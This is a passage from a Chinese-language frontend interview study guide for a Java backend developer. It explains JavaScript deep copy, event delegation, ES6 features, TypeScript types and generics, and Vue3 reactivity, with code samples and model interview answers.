答:(先口述区别,再写代码,见上) 防抖场景: 搜索框联想输入(停止输入才请求)、表单校验(停止输入才校验)、窗口 resize(停止调整才重算布局)。 节流场景: 滚动加载(滚动中固定频率检查是否到底)、按钮防重复提交、大屏高频数据刷新限流、鼠标移动事件。 关键点: 两者都用闭包保存定时器/时间戳;都要用
fn.apply(this, args)保留 this 指向和参数;防抖是“重置计时”,节流是“限制频率”。
1.9 深浅拷贝
// 浅拷贝:只复制第一层,嵌套的引用类型还是共享同一个地址
const obj = { name: '张三', address: { city: '上海' } };
// 浅拷贝方式
const c1 = Object.assign({}, obj);
const c2 = { ...obj }; // 扩展运算符
const arrCopy = [...arr]; // 数组浅拷贝
c1.name = '李四'; // 不影响原对象(第一层是值传递)
c1.address.city = '北京'; // ⚠️ 原对象也变了!address 是共享引用
console.log(obj.address.city); // '北京' ← 被改了!
// 深拷贝方式1:JSON 序列化(最简单,但有硬伤)
const deep1 = JSON.parse(JSON.stringify(obj));
// ❌ 硬伤:① 丢失 undefined、function、Symbol
// ② 无法处理循环引用(报错)
// ③ Date 变成字符串、RegExp 变成 {}
// ④ NaN/Infinity 变成 null
// 深拷贝方式2:structuredClone(现代浏览器原生,推荐)
const deep2 = structuredClone(obj);
// ✅ 支持循环引用、Date、Map、Set、ArrayBuffer
// ❌ 不支持 function、DOM 节点;Node 17+ / 现代浏览器可用
// 深拷贝方式3:手写递归(面试考这个)
function deepClone(target, cache = new WeakMap()) {
// ① 处理原始类型和 null
if (target === null || typeof target !== 'object') return target;
// ② 处理循环引用(关键!否则栈溢出)
if (cache.has(target)) return cache.get(target);
// ③ 特殊类型处理
if (target instanceof Date) return new Date(target);
if (target instanceof RegExp) return new RegExp(target);
// ④ 数组/对象分开处理,保持原型
const clone = Array.isArray(target) ? [] : Object.create(Object.getPrototypeOf(target));
cache.set(target, clone); // 先存再递归,解决循环引用
// ⑤ 递归拷贝每个属性(含 Symbol key)
for (const key of Reflect.ownKeys(target)) {
clone[key] = deepClone(target[key], cache);
}
return clone;
}
// 测试循环引用
const a = { name: 'a' };
a.self = a; // 循环引用
const cloned = deepClone(a); // ✅ 不报错(JSON 方式会报错)
console.log(cloned.self === cloned); // true(保持循环结构)
面试题 ⭐⭐⭐⭐:手写深拷贝,如何处理循环引用?
答: 用
WeakMap作为缓存(哈希记忆):每次拷贝对象前先存进 WeakMap,递归时如果发现对象已经在缓存里就直接返回缓存的副本,从而打断循环引用链。用 WeakMap 而不是 Map 是因为 WeakMap 是弱引用,不会阻止对象被 GC 回收。 另外要单独处理 Date、RegExp 等特殊类型,以及用Reflect.ownKeys保证 Symbol 类型的 key 也被拷贝。
1.10 DOM 事件机制(冒泡与捕获)
┌─────────────────────────────────────┐
│ document │
│ ┌───────────────────────────┐ │
│ │ html │ │
│ │ ┌───────────────────┐ │ │
│ │ │ body │ │ │
│ │ │ ┌─────────────┐ │ │ │
│ │ │ │ div │ │ │ │
│ │ │ │ ┌───────┐ │ │ │ │
│ │ │ │ │ button│ │ │ │ │ ← 点击这里
│ │ │ │ └───────┘ │ │ │ │
│ │ │ └─────────────┘ │ │ │
│ │ └───────────────────┘ │ │
│ └───────────────────────────┘ │
└─────────────────────────────────────┘
事件传播三阶段:
① 捕获阶段(Capture):document → html → body → div → button(从上往下)
② 目标阶段(Target): 到达 button
③ 冒泡阶段(Bubble): button → div → body → html → document(从下往上)
★ addEventListener 第三个参数:
false(默认)= 冒泡阶段触发
true = 捕获阶段触发
const btn = document.querySelector('#btn');
// 冒泡(默认)
btn.addEventListener('click', handler); // 或 handler, false
// 捕获
btn.addEventListener('click', handler, true);
// 阻止冒泡:不让事件继续往上传
btn.addEventListener('click', e => {
e.stopPropagation(); // 只阻止冒泡(后续同元素监听器仍执行)
// e.stopImmediatePropagation(); // 更强:连当前元素后续监听器也阻止
});
// 阻止默认行为:比如阻止 a 标签跳转、表单提交
link.addEventListener('click', e => {
e.preventDefault(); // 不跳转
});
事件委托(Event Delegation)—— 性能优化常用
原理: 利用事件冒泡,把子元素的事件监听统一绑到父元素上,通过 e.target 判断是哪个子元素触发的。
// ❌ 低效:1000 个列表项绑 1000 个监听器(内存占用大)
document.querySelectorAll('.list-item').forEach(item => {
item.addEventListener('click', () => console.log(item.dataset.id));
});
// ✅ 高效:只在父元素绑 1 个监听器,利用冒泡
document.querySelector('.list').addEventListener('click', e => {
// e.target 是实际点击的元素,可能是 li 内部的 span
const item = e.target.closest('.list-item'); // 向上找最近的 .list-item
if (!item) return; // 点空白处,忽略
console.log(item.dataset.id);
});
// ✅ 额外好处:动态新增的列表项自动拥有点击事件,无需重新绑定!
// (你的指令列表、文档列表都用得上)
你的项目举例(资产托管指令列表):
// 万级指令列表,每行有"查看/复核/作废"按钮 → 用事件委托,只绑一个监听器
document.querySelector('#instruction-table-body').addEventListener('click', e => {
const btn = e.target.closest('[data-action]');
if (!btn) return;
const { action, id } = btn.dataset; // data-action="review" data-id="123"
switch (action) {
case 'view': viewInstruction(id); break;
case 'review': reviewInstruction(id); break;
case 'cancel': cancelInstruction(id); break;
}
});
面试题 ⭐⭐⭐⭐:什么是事件委托?有什么好处?
答: 利用事件冒泡,把子元素的事件监听统一绑定到父元素上,通过
e.target(配合closest())判断实际触发元素。 两个好处: ① 省内存——1000 个列表项只需 1 个监听器而不是 1000 个;② 支持动态元素——后续通过 JS 新增的列表项自动拥有事件响应,不需要重新绑定(这点在虚拟滚动/分页加载场景特别有用)。 注意: 不是所有事件都能委托(focus、blur 不冒泡,要用 focusin/focusout 代替)。
1.11 ES6+ 常用特性速览
// ① 解构赋值(你的项目里到处都是)
const { code, data, message } = response.data; // 对象解构 + 重命名
const { data: docList = [] } = response.data; // 默认值
const [first, ...rest] = docList; // 数组解构
// ② 模板字符串
const url = `/api/documents/${id}?type=${type}`;
// ③ 可选链 + 空值合并(ES2020,处理后端返回的 null 特别好用)
const city = user?.address?.city; // 中间有 null/undefined 返回 undefined,不报错
const name = user.name ?? '匿名'; // 只有 null/undefined 才用默认值
// ⚠️ 注意 ?? 和 || 的区别:|| 对 0、''、false 也会取默认值
const count = 0;
console.log(count || 10); // 10 ← 0 被当成假值,可能不是你要的
console.log(count ?? 10); // 0 ← ✅ 正确
// ④ 箭头函数(注意:没有自己的 this、不能 new、没有 arguments)
const double = n => n * 2;
const getDocs = async () => (await fetch('/api/docs')).json();
// ⑤ 扩展运算符(浅拷贝、合并、函数参数)
const newState = { ...oldState, loading: false };
const merged = [...arr1, ...arr2];
Math.max(...numbers);
// ⑥ 数组方法(函数式,替代 for 循环)
const docs = [{id:1,name:'a',size:100},{id:2,name:'b',size:200}];
docs.map(d => d.name) // ['a','b'] 映射
docs.filter(d => d.size > 150) // [{id:2,...}] 过滤
docs.find(d => d.id === 1) // {id:1,...} 找第一个
docs.some(d => d.size > 150) // true 有任一满足
docs.every(d => d.size > 50) // true 全部满足
docs.reduce((sum, d) => sum + d.size, 0) // 300 聚合
docs.flatMap(d => d.tags) // 映射后拉平一层
Array.from(new Set(docs.map(d=>d.id))) // 去重
// ⑦ 对象方法
Object.entries(obj) // [['name','张三'],['age',18]] 遍历用
Object.fromEntries(arr) // 反向
Object.keys/values(obj)
// ⑧ Map / Set(比 Object/Array 更适合做查找和去重)
const docMap = new Map(docs.map(d => [d.id, d])); // O(1) 按 id 查
docMap.get(1);
const uniqueTypes = new Set(docs.map(d => d.type)); // 自动去重
面试题 ⭐⭐⭐:?? 和 || 的区别?
答:
||对所有假值(0、''、false、null、undefined、NaN)都取右侧默认值;??(空值合并运算符,ES2020)只在null或undefined时取右侧。 实际影响:后端返回count: 0或name: ''时,||会错误地用默认值覆盖,而??能正确保留。处理后端数据时推荐用??。
第一章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | 说说 JS 的数据类型,typeof null 为什么是 object? | ⭐⭐⭐ |
| 2 | 什么是原型链?手写 instanceof | ⭐⭐⭐⭐⭐ |
| 3 | new 一个对象的过程发生了什么? | ⭐⭐⭐⭐ |
| 4 | 什么是闭包?优缺点?实际用途? | ⭐⭐⭐⭐ |
| 5 | this 有几种绑定方式?优先级? | ⭐⭐⭐⭐ |
| 6 | 手写 call / apply / bind | ⭐⭐⭐⭐⭐ |
| 7 | 说说事件循环(同步/微任务/宏任务执行顺序) | ⭐⭐⭐⭐⭐ |
| 8 | 给出一段含 setTimeout/Promise/async 的代码,说出输出顺序 | ⭐⭐⭐⭐⭐ |
| 9 | Promise.all / race / allSettled / any 的区别和场景 | ⭐⭐⭐⭐ |
| 10 | 手写防抖和节流,说明应用场景 | ⭐⭐⭐⭐⭐ |
| 11 | 手写深拷贝,如何处理循环引用? | ⭐⭐⭐⭐ |
| 12 | 什么是事件委托?原理和好处? | ⭐⭐⭐⭐ |
| 13 | 说说盒模型,box-sizing 两个值的区别 | ⭐⭐⭐ |
| 14 | 什么是 BFC?怎么触发?解决什么问题? | ⭐⭐⭐ |
| 15 | CSS 选择器优先级怎么算? | ⭐⭐⭐ |
| 16 | Flex 和 Grid 怎么选? | ⭐⭐⭐ |
| 17 | ?? 和 ` |
|
| 18 | 事件传播的三个阶段?如何阻止冒泡? | ⭐⭐⭐ |
第二章:TypeScript(类型系统)
你简历技能清单第 11 条写了「熟悉 TypeScript 类型系统」,项目一、二技术栈都含 TS。作为 Java 后端,TS 对你其实是降维打击——大部分概念和 Java 泛型一脉相承。
2.1 TS 是什么?为什么要用(后端视角)
小白讲解: TypeScript = JavaScript + 静态类型。写的时候标注类型,编译期就能发现错误,而不是等运行时报 undefined is not a function。
后端类比(一下子就懂):
| 概念 | Java | TypeScript |
|---|---|---|
| 类型检查时机 | 编译期(javac) | 编译期(tsc),运行时已擦除 |
| 类型擦除 | ✅ 泛型擦除 | ✅ 编译成 JS 后类型全没了 |
| 接口 | interface User {} |
interface User {}(几乎一样) |
| 泛型 | List<T> |
Array<T> / Promise<T> |
| 可选属性 | 无(用 null 表示) | name?: string(相当于 string | undefined) |
| 联合类型 | 无(要写重载) | string | number(原生支持) |
| 类型别名 | 无 | type ID = string | number |
核心价值(面试话术): “我们前后端都用 TS,最大的收益是接口契约类型化——后端 Swagger 定义的返回结构,前端直接生成对应的 interface,字段改名或类型变更时前端编译期就报错,不会出现上线后 undefined 的线上事故。另外 IDE 自动补全和重构也快很多。”
2.2 基础类型速查
// 原始类型(小写,区别于 Java 的包装类)
let name: string = 'zhangsan';
let age: number = 28;
let active: boolean = true;
let u: undefined = undefined;
let n: null = null;
// 数组两种写法
let ids: number[] = [1, 2, 3];
let names: Array<string> = ['a', 'b']; // 泛型写法,和 Java 更像
// 元组:固定长度和类型的数组
let point: [number, number] = [10, 20];
let record: [string, number, boolean] = ['指令A', 100, true];
// 枚举(编译后是对象)
enum InstructionStatus {
DRAFT = 'DRAFT', // 草稿
REVIEWING = 'REVIEWING', // 复核中
APPROVED = 'APPROVED', // 已审核
PAID = 'PAID', // 已出款
CANCELLED = 'CANCELLED' // 已作废
}
// 你的资产托管项目 12 种指令状态就用这个管
// 特殊类型
let anyVal: any = '什么都能赋值'; // ❌ 关闭类型检查,尽量别用
let unknownVal: unknown = getData(); // ✅ 安全的 any,用前必须先判断类型
let nothing: void = undefined; // 函数无返回值
let neverVal: never; // 永不存在的值(如抛异常的函数返回类型)
any vs unknown(面试常问):
let a: any = 'hello';
a.toUpperCase(); // ✅ 编译通过(any 关闭检查,运行时才可能报错)
a.foo.bar(); // ✅ 也编译通过 ← 危险!
let u: unknown = 'hello';
u.toUpperCase(); // ❌ 编译报错:unknown 不能直接调用方法
if (typeof u === 'string') {
u.toUpperCase(); // ✅ 类型收窄后可以用
}
// 结论:接收外部数据(接口返回、JSON.parse)用 unknown,强制自己做类型校验
2.3 interface vs type(高频)
// interface:定义对象结构(可扩展、可继承)
interface User {
id: number;
name: string;
email?: string; // 可选属性(相当于 string | undefined)
readonly createdAt: Date; // 只读,初始化后不能改
}
// interface 可以声明合并(同名自动合并)← type 做不到
interface User {
phone?: string; // 自动合并进上面的 User
}
// 现在 User 有 id/name/email/createdAt/phone 五个字段
// interface 可以 extends 继承
interface Admin extends User {
permissions: string[];
}
// type:类型别名,能表达 interface 表达不了的类型
type ID = string | number; // 联合类型
type Status = 'pending' | 'success' | 'failed'; // 字面量联合(类似枚举但更轻)
type Callback = (data: string) => void; // 函数类型
type Point2D = [number, number]; // 元组
type UserMap = Record<string, User>; // 映射类型
// type 的交叉类型(&)实现类似继承的效果
type AdminUser = User & { permissions: string[] };
选型建议(面试答案):
| 场景 | 选择 | 理由 |
|---|---|---|
| 定义对象结构(DTO、接口返回) | interface | 可扩展、可声明合并、错误信息更友好 |
| 联合类型、字面量类型、函数类型、元组 | type | interface 表达不了 |
需要 extends 继承 |
interface | 语义更清晰 |
需要 & 交叉、条件类型、映射类型 |
type | 更灵活 |
| 团队规范 | 优先 interface,表达不了再用 type | 官方推荐 |
2.4 泛型(Java 后端最熟悉的部分)
// 泛型函数:类型参数化
function identity<T>(value: T): T {
return value;
}
identity<string>('hello'); // 显式指定
identity(123); // 自动推断为 number
// 泛型接口(你的项目:统一响应体)
interface Result<T> {
code: number;
message: string;
data: T; // data 的类型由调用方决定
timestamp: number;
}
// 使用:同一个 Result,data 类型不同
type DocListResult = Result<Document[]>;
type UserResult = Result<User>;
type PageResult<T> = Result<{ list: T[]; total: number }>; // 嵌套泛型
// 泛型约束(extends):限制 T 必须有某些属性
function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
return obj[key];
}
getProperty({ name: '张三', age: 18 }, 'name'); // ✅ '张三'
getProperty({ name: '张三', age: 18 }, 'email'); // ❌ 编译报错:email 不是 key
// 泛型类
class PaginatedList<T> {
private items: T[] = [];
add(item: T): void { this.items.push(item); }
get(index: number): T | undefined { return this.items[index]; }
}
const docPage = new PaginatedList<Document>();
// 泛型默认类型
interface ApiResponse<T = any> {
data: T;
}
你的项目实战:封装 Axios 请求(类型安全)
// api/request.ts —— 后端返回统一结构 Result<T>
import axios, { AxiosInstance, AxiosResponse } from 'axios';
// 后端统一响应体(和 Java 的 Result<T> 一一对应)
export interface Result<T = any> {
code: number;
message: string;
data: T;
}
// 分页结构(对应后端 PageHelper / MyBatis-Plus IPage)
export interface PageData<T> {
list: T[];
total: number;
pageNum: number;
pageSize: number;
}
const request: AxiosInstance = axios.create({
baseURL: '/api',
timeout: 30000
});
// 泛型封装:调用时指定 T,返回 data 直接是 T 类型,不用到处 as 断言
export async function get<T>(url: string, params?: any): Promise<T> {
const resp: AxiosResponse<Result<T>> = await request.get(url, { params });
if (resp.data.code !== 200) {
throw new Error(resp.data.message);
}
return resp.data.data; // ← 类型是 T,IDE 自动补全字段
}
export async function post<T>(url: string, data?: any): Promise<T> {
const resp: AxiosResponse<Result<T>> = await request.post(url, data);
if (resp.data.code !== 200) throw new Error(resp.data.message);
return resp.data.data;
}
// ---- 使用层:类型一路推导,零断言 ----
interface Document {
id: number;
fileName: string;
fileSize: number;
status: 'PARSING' | 'DONE' | 'FAILED';
createdAt: string;
}
// 查列表:返回 Promise<PageData<Document>>
const page = await get<PageData<Document>>('/documents', { pageNum: 1, pageSize: 20 });
page.list[0].fileName; // ✅ IDE 自动补全,写错字段名编译期报错
page.list[0].fileNamee; // ❌ 编译报错:属性不存在!
面试话术(这段很有价值): “我们项目用泛型封装了 Axios,后端统一返回 Result<T>,前端定义同名泛型接口对应。这样调接口时指定 get<PageData<Document>>(),返回的 data 直接就是强类型,字段写错编译期就报错——前后端靠类型对齐,比口头约定可靠得多。”
2.5 常用工具类型(Utility Types)
interface Document {
id: number;
fileName: string;
fileSize: number;
status: string;
createdAt: string;
updatedAt: string;
}
// Partial<T>:所有属性变可选(用于"更新"接口,只传要改的字段)
type DocumentUpdate = Partial<Document>;
// { id?: number; fileName?: string; ... }
function updateDoc(id: number, patch: DocumentUpdate) {}
updateDoc(1, { fileName: '新名字' }); // ✅ 只传一个字段
// Pick<T, K>:挑出部分属性
type DocBrief = Pick<Document, 'id' | 'fileName'>;
// { id: number; fileName: string }
// Omit<T, K>:排除部分属性
type DocCreate = Omit<Document, 'id' | 'createdAt' | 'updatedAt'>;
// 创建时不需要 id 和时间戳(后端生成)
// Required<T>:所有属性变必填
// Readonly<T>:所有属性变只读
// Record<K, V>:定义键值映射(后端:Map<K,V>)
type StatusColorMap = Record<'PARSING' | 'DONE' | 'FAILED', string>;
const statusColors: StatusColorMap = {
PARSING: '#909399',
DONE: '#67c23a',
FAILED: '#f56c6c'
};
// ReturnType<T>:取函数返回类型
// 实用场景:复用后端接口定义的返回类型,避免重复声明
async function fetchDocs() { return get<PageData<Document>>('/documents'); }
type DocsResult = Awaited<ReturnType<typeof fetchDocs>>; // PageData<Document>
// Awaited<T>:展开 Promise(上面用到了)
type Unwrapped = Awaited<Promise<Document[]>>; // Document[]
2.6 类型守卫与类型收窄
// 场景:后端返回的 data 可能是多种类型,需要判断后分别处理
// ① typeof 守卫
function print(value: string | number) {
if (typeof value === 'string') {
console.log(value.toUpperCase()); // 这里 value 已被收窄为 string
} else {
console.log(value.toFixed(2)); // 这里收窄为 number
}
}
// ② instanceof 守卫
if (error instanceof Error) {
console.log(error.message);
}
// ③ in 操作符守卫(按属性是否存在区分)
interface SuccessResp { code: 200; data: any }
interface ErrorResp { code: number; message: string }
function handle(resp: SuccessResp | ErrorResp) {
if ('data' in resp) {
return resp.data; // 收窄为 SuccessResp
}
return resp.message; // 收窄为 ErrorResp
}
// ④ 自定义类型谓词(is 关键字)—— 最强大
interface Doc { type: 'doc'; fileName: string }
interface Image { type: 'img'; url: string }
function isDoc(item: Doc | Image): item is Doc {
return item.type === 'doc';
}
const items: (Doc | Image)[] = getItems();
items.filter(isDoc).forEach(d => console.log(d.fileName)); // d 类型是 Doc ✅
// ⑤ 可辨识联合(Discriminated Union)—— 配合 switch 穷尽检查
type Action =
| { type: 'ADD_DOC'; payload: Document }
| { type: 'DELETE_DOC'; payload: number }
| { type: 'CLEAR' };
function reducer(action: Action) {
switch (action.type) {
case 'ADD_DOC': return action.payload.fileName; // payload 收窄为 Document
case 'DELETE_DOC': return action.payload; // payload 收窄为 number
case 'CLEAR': return null;
default:
// 穷尽检查:如果 Action 新增了类型但这里没处理,编译报错
const _exhaustive: never = action;
return _exhaustive;
}
}
2.7 TypeScript 在 Vue3 中的写法
<script setup lang="ts">
import { ref, computed, reactive } from 'vue';
// ① 定义接口 DTO
interface ChatMessage {
id: string;
role: 'user' | 'assistant';
content: string;
sources?: SourceRef[]; // 溯源引用(可选)
}
interface SourceRef {
docId: number;
docName: string;
snippet: string;
}
// ② ref 加泛型
const messages = ref<ChatMessage[]>([]); // Ref<ChatMessage[]>
const loading = ref<boolean>(false);
const currentDoc = ref<Document | null>(null); // 可能为 null
// ③ reactive 加泛型
const chatState = reactive<{
generating: boolean;
errorMsg: string;
}>({
generating: false,
errorMsg: ''
});
// ④ props 类型化(defineProps 支持泛型)
interface Props {
docId: number;
title?: string;
readonly?: boolean;
}
const props = withDefaults(defineProps<Props>(), {
title: '未命名文档',
readonly: false
});
// ⑤ emit 类型化
const emit = defineEmits<{
(e: 'update:docId', id: number): void;
(e: 'delete', id: number, reason: string): void;
(e: 'close'): void;
}>();
emit('delete', 1, '内容过期'); // ✅ 参数类型和数量都被检查
emit('delete', 1); // ❌ 编译报错:缺少参数
// ⑥ computed 自动推导类型
const messageCount = computed(() => messages.value.length); // ComputedRef<number>
// ⑦ 函数参数和返回值
async function loadMessages(docId: number): Promise<void> {
const data = await get<ChatMessage[]>(`/documents/${docId}/messages`);
messages.value = data;
}
</script>
2.8 前后端类型对齐实践(简历可讲的亮点)
问题: 后端改了字段名,前端不知道,上线后 undefined。
解决方案(三层递进):
// 方案1(基础):手写 interface 与后端 DTO 一一对应,靠 code review 保证
interface InstructionDTO {
instructionId: number;
instructionType: string;
amount: number; // ⚠️ 注意:Java BigDecimal 序列化成 JSON 是 number
status: string;
}
// 方案2(进阶):用 openapi-typescript 从 Swagger JSON 自动生成类型
// npx openapi-typescript http://localhost:8080/v3/api-docs -o src/types/api.d.ts
// 生成后直接用:
import type { components } from '@/types/api';
type InstructionDTO = components['schemas']['InstructionDTO'];
// 后端改字段 → 重新生成 → 前端编译期报错 → 立刻发现
// 方案3(团队协作):把类型生成加进 CI,接口变更时前端编译失败即拦截
⚠️ 后端转全栈必踩的坑:金额精度
// Java BigDecimal 序列化成 JSON 是 number,但 JS number 是双精度浮点
// 大额金额可能精度丢失!
const amount = 1234567890123456.78;
console.log(amount); // 1234567890123456.8 ← 精度丢失!
// 解决:后端把金额序列化成 String,前端用字符串接收,展示时用 Intl 格式化
interface InstructionDTO {
amount: string; // 后端 @JsonSerialize(using = ToStringSerializer.class)
}
new Intl.NumberFormat('zh-CN', {
style: 'currency', currency: 'CNY'
}).format(Number(amount));
面试话术: “我们项目金额字段后端用 BigDecimal,序列化成 JSON 时统一转成 String 传给前端,避免 JS 双精度浮点在大额场景下丢精度——这个坑在资产托管这种资金类系统里必须注意。”
第二章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | TypeScript 相比 JavaScript 有什么优势? | ⭐⭐⭐ |
| 2 | interface 和 type 的区别?什么时候用哪个? | ⭐⭐⭐⭐ |
| 3 | any 和 unknown 的区别? | ⭐⭐⭐⭐ |
| 4 | 说说泛型,举一个你项目中的实际应用 | ⭐⭐⭐⭐ |
| 5 | Partial / Pick / Omit / Record 分别做什么? | ⭐⭐⭐⭐ |
| 6 | 什么是类型守卫?有哪几种方式? | ⭐⭐⭐⭐ |
| 7 | 前端如何处理后端 BigDecimal 金额精度问题? | ⭐⭐⭐⭐ |
| 8 | 如何保证前后端接口类型一致? | ⭐⭐⭐⭐ |
| 9 | TS 的类型是什么时候被擦除的?运行时还有类型吗? | ⭐⭐⭐ |
| 10 | keyof、typeof、Awaited 这些操作符用过吗? | ⭐⭐⭐ |
第三章:Vue3 核心与原理
3.1 Vue 是什么?声明式 vs 命令式
小白讲解:
- jQuery(命令式):拿到数据 → 手动找 DOM → 手动塞进去。你告诉浏览器“怎么做”。
- Vue(声明式):声明“页面长什么样由数据决定”,你只改数据,Vue 负责更新 DOM。你告诉浏览器“要什么”。
<!-- 命令式(jQuery 思维) -->
<div id="counter">0</div>
<script>
let count = 0;
$('#counter').text(count); // 手动操作 DOM
$('button').on('click', () => {
count++;
$('#counter').text(count); // 每次都要手动同步
});
</script>
<!-- 声明式(Vue 思维) -->
<button @click="count++">点了 {{ count }} 次</button>
<!-- count 是响应式数据,变了界面自动更新,零 DOM 操作 -->
核心思想:数据驱动视图。改状态(数据),不动 DOM。
MVVM 模式:
┌──────────────┐
│ View │ 视图层:用户看到的页面(template)
│ (页面) │
└──────┬───────┘
│ 数据绑定(Data Binding)
│ 双向:① 数据→视图(自动渲染)② 视图→数据(v-model 输入)
┌──────▼───────────────────────┐
│ ViewModel(Vue 实例) │ ← Vue 的核心,负责监听和转发
│ · 监听 Model 变化 → 更新 View │
│ · 监听 View 输入 → 更新 Model │
└──────┬───────────────────────┘
│
┌──────▼───────┐
│ Model │ 数据层:JS 对象(data / ref / reactive)
│ (数据) │
└──────────────┘
3.2 响应式原理(核心中的核心)
Vue2:Object.defineProperty
// Vue2 的做法:遍历对象每个属性,用 defineProperty 劫持 getter/setter
function defineReactive(obj, key, val) {
Object.defineProperty(obj, key, {
get() {
console.log(`读取 ${key} → 收集依赖(谁用了我)`);
return val;
},
set(newVal) {
if (newVal === val) return;
console.log(`修改 ${key} → 派发更新(通知用到的地方刷新)`);
val = newVal;
// dep.notify() → 触发视图更新
}
});
}
const data = { count: 0, name: '张三' };
Object.keys(data).forEach(key => defineReactive(data, key, data[key]));
// 简化版 observe:递归处理嵌套对象
function observe(obj) {
if (typeof obj !== 'object' || obj === null) return;
Object.keys(obj).forEach(key => {
defineReactive(obj, key, obj[key]);
observe(obj[key]); // 递归子对象
});
}
Vue2 的四个硬伤(面试必答):
// ① 新增属性不响应
const vm = new Vue({ data: { user: { name: '张三' } } });
vm.user.age = 18; // ❌ 视图不更新!age 没被 defineProperty 劫持
vm.$set(vm.user, 'age', 18); // ✅ 必须用 $set
// ② 删除属性不响应
delete vm.user.name; // ❌ 不更新
vm.$delete(vm.user, 'name'); // ✅
// ③ 数组下标赋值 / 修改 length 不响应
vm.list[0] = '新值'; // ❌ 不更新
vm.list.length = 0; // ❌ 不更新
vm.$set(vm.list, 0, '新值'); // ✅
vm.list.splice(0, 1, '新值'); // ✅ 或 push/pop/shift/unshift/splice/sort/reverse(Vue2 重写过这些)
// ④ 性能:初始化时递归遍历所有属性,对象越大越慢
// (因为要一次性把每个属性都 defineProperty)
Vue3:Proxy
// Vue3 的做法:代理整个对象,任何操作都能拦截
const data = { count: 0, user: { name: '张三' } };
const proxy = new Proxy(data, {
get(target, key, receiver) {
console.log(`读取 ${String(key)}`);
track(target, key); // 依赖收集
const result = Reflect.get(target, key, receiver);
// 懒代理:只有访问到嵌套对象时才递归代理(性能提升点!)
return typeof result === 'object' && result !== null
? reactive(result)
: result;
},
set(target, key, value, receiver) {
console.log(`修改 ${String(key)} = ${value}`);
const success = Reflect.set(target, key, value, receiver);
trigger(target, key); // 派发更新
return success;
},
deleteProperty(target, key) { // ← Vue2 做不到!
console.log(`删除 ${String(key)}`);
const success = Reflect.deleteProperty(target, key);
trigger(target, key);
return success;
},
has(target, key) { // 拦截 key in obj
track(target, key);
return Reflect.has(target, key);
},
ownKeys(target) { // 拦截 Object.keys / for...in
track(target, 'iterate');
return Reflect.ownKeys(target);
}
});
// Vue3 全部搞定:
proxy.newProp = '值'; // ✅ 新增属性响应
delete proxy.count; // ✅ 删除属性响应
proxy.list[0] = '新值'; // ✅ 数组下标响应
proxy.list.length = 0; // ✅ length 响应
依赖收集的完整链路(画出来说很加分)
模板渲染 → 读取数据(触发 get)→ 收集依赖(谁在用这个数据)
↓
┌──────────────────────┐
│ Dep / targetMap │
│ WeakMap { │
│ target对象 → Map { │
│ key → Set[effect]│ ← effect 就是"用到这个数据的渲染函数"
│ } │
│ } │
└──────────────────────┘
↓
数据修改(触发 set)→ 从 targetMap 找到对应的 effect 集合 → 全部重新执行 → 视图更新
★ 三层映射结构:
WeakMap<target, Map<key, Set<effect>>>
为什么用 WeakMap?→ 对象被回收时,对应的依赖关系自动释放,不内存泄漏
面试题 ⭐⭐⭐⭐⭐:Vue2 和 Vue3 响应式原理的区别?
答: Vue2 用
Object.defineProperty逐个属性劫持 getter/setter,Vue3 用Proxy代理整个对象。 具体差异四点: ① 新增/删除属性:Vue2 检测不到(要$set/$delete),Proxy 有set/deleteProperty拦截器,天然支持。 ② 数组:Vue2 检测不到下标赋值和 length 修改(要重写 7 个数组方法),Proxy 全部能拦截。 ③ 性能:Vue2 初始化时递归遍历所有属性做劫持,对象大时慢;Vue3 是懒代理——只有访问到嵌套对象时才递归,且 Proxy 是原生 API,性能更好。 ④ 数据结构:Vue2 不支持 Map/Set,Vue3 支持。 补充:Vue2 有$set是因为 defineProperty 的限制,Vue3 里这个概念被移除了。
3.3 ref vs reactive(Vue3 最容易混的 API)
import { ref, reactive, toRefs } from 'vue';
// ref:包装任意类型(基本类型必须用它)
const question = ref(''); // Ref<string>
question.value = '什么是头寸?'; // script 里必须 .value
// 模板里自动解包:<div>{{ question }}</div> 不用 .value
// ref 包对象也可以,内部会自动转成 reactive
const chatState = ref({ loading: false });
chatState.value.loading = true; // 注意要 .value.loading
// reactive:只包装对象/数组
const state = reactive({
messages: [],
loading: false,
currentAnswer: ''
});
state.loading = true; // 直接改,不用 .value
// ⚠️ reactive 的坑:不能整体替换,会丢失响应式
let s = reactive({ count: 0 });
s = { count: 1 }; // ❌ s 不再是响应式对象
Object.assign(s, { count: 1 }); // ✅ 正确:逐属性赋值
// ⚠️ 解构会丢失响应式
const { loading } = state; // ❌ loading 是普通布尔值,不响应
// 解决:用 toRefs
const { loading: loadingRef } = toRefs(state); // ✅ 保持响应式
loadingRef.value; // 需要 .value
// ⚠️ 把 reactive 的属性传给函数也会丢失响应式
function logLoading(loading) { /* 拿到的是快照值 */ }
logLoading(state.loading); // ❌ 传的是值不是引用
| 对比 | ref | reactive |
|---|---|---|
| 支持类型 | 任意(基本类型必须用它) | 仅对象/数组 |
| 访问方式 | .value(模板自动解包) |
直接点属性 |
| 重新赋值 | x.value = 新值 ✅ |
整体替换丢失响应式 ❌ |
| 解构 | 需要 .value |
需要 toRefs 包裹 |
| 推荐场景 | 基本类型、需要整体替换的对象 | 一组逻辑相关的数据(表单对象) |
记忆口诀: “基本类型用 ref,对象用 reactive;要整体替换就只能用 ref;要解构就用 toRefs。”
你的 RAG 项目举例:
// 对话列表用 ref —— 因为 SSE 流式要不断 push / 整体替换
const messages = ref([]);
messages.value.push(newMsg); // push 安全
messages.value = []; // 清空(整体替换)也安全 ✅
// 单条消息的内部状态用 reactive
const currentStream = reactive({
content: '', // 正在流式生成的文本
done: false, // 是否生成完毕
sources: [] // 溯源引用
});
currentStream.content += token; // 直接改 ✅
3.4 computed、watch、watchEffect
import { ref, computed, watch, watchEffect, reactive } from 'vue';
const question = ref('');
const messages = ref([]);
const docId = ref(1);
const loading = ref(false);
// ① computed:由已有数据算出新值(有缓存,依赖不变不重算)
const charCount = computed(() => question.value.length);
const canSend = computed(() =>
question.value.trim().length > 0 && !loading.value
);
// 带 getter/setter 的 computed
const firstName = ref('');
const lastName = ref('');
const fullName = computed({
get: () => `${firstName.value} ${lastName.value}`,
set: (val) => { [firstName.value, lastName.value] = val.split(' '); }
});
// ② watch:监听特定数据变化,执行副作用(调接口)
watch(docId, async (newId, oldId) => {
await loadDocument(newId); // 切换文档时重新加载
});
// 监听多个源
const keyword = ref('');
watch([docId, keyword], ([newDocId, newKeyword]) => {
